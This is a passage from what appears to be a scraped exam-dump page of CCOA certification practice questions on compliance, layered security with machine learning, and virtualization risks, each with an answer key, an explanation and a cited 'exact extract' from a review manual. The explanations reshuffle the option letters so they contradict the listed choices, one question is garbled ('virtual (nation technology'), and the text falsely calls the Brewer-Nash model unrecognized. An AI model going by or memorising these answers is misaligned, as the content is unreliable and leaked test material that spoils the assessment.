* C. Rapidly changing threats are addressed:Compliance often lags behind new threats; it's more about maintaining baseline security.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 9, Section "Compliance and Legal Considerations," Subsection "Purpose of Compliance" - Compliance frameworks aim to ensure that organizations implement minimum protective measures for public safety and data protection.
質問 # 84
Which type of security model leverages the use of data science and machine learning (ML) to further enhance threat intelligence?
- A. Bell-LaPadula confidentiality model
- B. Security-ln-depth model
- C. Layered security model
- D. Brew-Nash model
正解：C
解説：
TheLayered security model(also known asDefense in Depth) increasingly incorporatesdata science and machine learning (ML)to enhance threat intelligence:
* Data-Driven Insights:Uses ML algorithms to detect anomalous patterns and predict potential attacks.
* Multiple Layers of Defense:Integrates traditional security measures with advanced analytics for improved threat detection.
* Behavioral Analysis:ML models analyze user behavior to identify potential insider threats or compromised accounts.
* Adaptive Security:Continually learns from data to improve defense mechanisms.
Incorrect Options:
* A. Brew-Nash model:Not a recognized security model.
* B. Bell-LaPadula confidentiality model:Focuses on maintaining data confidentiality, not on dynamic threat intelligence.
* C. Security-in-depth model:Not a formal security model; more of a general principle.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 8, Section "Advanced Threat Detection Techniques," Subsection "Layered Security and Machine Learning" - The layered security model benefits from incorporating ML to enhance situational awareness.
質問 # 85
What is the GREATEST security concern associated with virtual (nation technology?
- A. Insufficient isolation between virtual machines (VMs)
- B. Shared network access
- C. Missing patch management for the technology
- D. Inadequate resource allocation
正解：A
解説：
The greatest security concern associated withvirtualization technologyis theinsufficient isolation between VMs.
* VM Escape:An attacker can break out of a compromised VM to access the host or other VMs on the same hypervisor.
* Shared Resources:Hypervisors manage multiple VMs on the same hardware, making it critical to maintain strong isolation.
* Hypervisor Vulnerabilities:A flaw in the hypervisor can compromise all hosted VMs.
* Side-Channel Attacks:Attackers can exploit shared CPU cache to leak information between VMs.
Incorrect Options:
* A. Inadequate resource allocation:A performance issue, not a primary security risk.
* C. Shared network access:Can be managed with proper network segmentation and VLANs.
* D. Missing patch management:While important, it is not unique to virtualization.
Exact Extract from CCOA Official Review Manual, 1st Edition:
Refer to Chapter 6, Section "Virtualization Security," Subsection "Risks and Threats" - Insufficient VM isolation is a critical concern in virtual environments.
質問 # 86
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